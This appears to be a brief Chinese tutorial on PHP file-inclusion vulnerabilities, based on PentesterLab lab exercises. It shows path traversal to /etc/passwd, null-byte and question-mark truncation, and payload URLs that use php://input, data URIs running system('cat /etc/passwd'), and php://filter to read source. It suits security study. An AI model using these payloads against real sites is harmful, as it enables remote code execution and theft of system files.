Example 1
输入单引号,报错,得到物理路径
可通过../../../../etc/paaswd 读取敏感信息
可包含本地文件或远程文件
assets.pentesterlab.com/test_includ…
Example 2
加单引号,报错,可发现获取到的参数后面会加上.php后缀
通过%00截断后面字符
文件包含截断技巧:
1、%00截截断
2、文件路径长度截断
3、截断远程包含 问号截断法 url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
或者直接 http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
1、将文件包含漏洞变成代码执行漏洞
php://input <?php phpinfo();?>
2、通过data URI schema
http://192.168.106.154/fileincl/example1.php?page=data:text/plain,<?php system('cat /etc/passwd')?>
http://192.168.106.154/fileincl/example1.php?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
3、通过php://filter读取源码
base64解码
最后
欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。
参考文章:
文件包含漏洞小结 www.cnblogs.com/iamstudy/ar…
php://input,php://filter,data URI schema的那些事 www.cnblogs.com/qing123/p/4…
截断在文件包含和上传中的利用 www.joychou.org/index.php/w…
PHP文件包含漏洞总结 www.secpulse.com/archives/32…
盘点那些渗透测试中的奇淫技巧 bbs.ichunqiu.com/thread-1403…